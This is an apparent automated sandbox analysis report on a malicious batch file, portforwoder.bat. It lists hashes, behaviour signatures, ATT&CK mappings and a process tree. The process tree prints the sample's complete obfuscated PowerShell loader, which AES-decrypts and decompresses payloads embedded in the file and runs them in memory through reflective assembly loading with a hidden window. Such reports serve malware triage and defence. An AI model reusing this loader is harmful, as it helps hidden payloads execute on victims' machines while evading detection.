3a1da018b43f1dd10eb3675d7b636bd32cb0df9e652a14e243f88953f04c8e89

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
09-06-2024 00:17

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General

Target

portforwoder.bat
Size

390KB
MD5

1ea03fad3259b7e127f5e05879db00a9
SHA1

5a0a28fa51768019339626fc0d10777e0860c4cb
SHA256

3a1da018b43f1dd10eb3675d7b636bd32cb0df9e652a14e243f88953f04c8e89
SHA512

c0c58b8bf5711a59bcb8bc34ee328b217f958f77307650ec3084d3c170fb1e7aab42cd4a6e996e53261a630d79ffb5e354ca6f109764e5a6ff805ea1e0a78777
SSDEEP

12288:V38H8KRbEwtap0NezWGuTvLj4nr6wKtLBir0em:V3o1RGuj4rbs

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2188 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2188 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2188 powershell.exe

pid	process
2188	powershell.exe

pid	process
2188	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2188	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2056 wrote to memory of 2136	2056	cmd.exe	cmd.exe
PID 2056 wrote to memory of 2136	2056	cmd.exe	cmd.exe
PID 2056 wrote to memory of 2136	2056	cmd.exe	cmd.exe
PID 2056 wrote to memory of 2188	2056	cmd.exe	powershell.exe
PID 2056 wrote to memory of 2188	2056	cmd.exe	powershell.exe
PID 2056 wrote to memory of 2188	2056	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\portforwoder.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2056

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NZA7uStBimzhU2pjm6inNDqFkCs0FhB+CeLL79sWRI4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6OswDjQA8VBkciMxnDy1mg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pIVYA=New-Object System.IO.MemoryStream(,$param_var); $kljBV=New-Object System.IO.MemoryStream; $Cddeu=New-Object System.IO.Compression.GZipStream($pIVYA, [IO.Compression.CompressionMode]::Decompress); $Cddeu.CopyTo($kljBV); $Cddeu.Dispose(); $pIVYA.Dispose(); $kljBV.Dispose(); $kljBV.ToArray();}function execute_function($param_var,$param2_var){ $uzlSo=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uoqGL=$uzlSo.EntryPoint; $uoqGL.Invoke($null, $param2_var);}$swHsV = 'C:\Users\Admin\AppData\Local\Temp\portforwoder.bat';$host.UI.RawUI.WindowTitle = $swHsV;$PZzIj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($swHsV).Split([Environment]::NewLine);foreach ($hSmwK in $PZzIj) { if ($hSmwK.StartsWith('SnmHeIeicRORhReMwpKo')) { $LpkSF=$hSmwK.Substring(20); break; }}$payloads_var=[string[]]$LpkSF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
2⤵
PID:2136

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2188

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/2188-4-0x000007FEF5D1E000-0x000007FEF5D1F000-memory.dmp

Filesize
4KB

Download
memory/2188-5-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2188-6-0x0000000002890000-0x0000000002898000-memory.dmp

Filesize
32KB

Download
memory/2188-7-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

Filesize
9.6MB

Download
memory/2188-8-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

Filesize
9.6MB

Download
memory/2188-9-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

Filesize
9.6MB

Download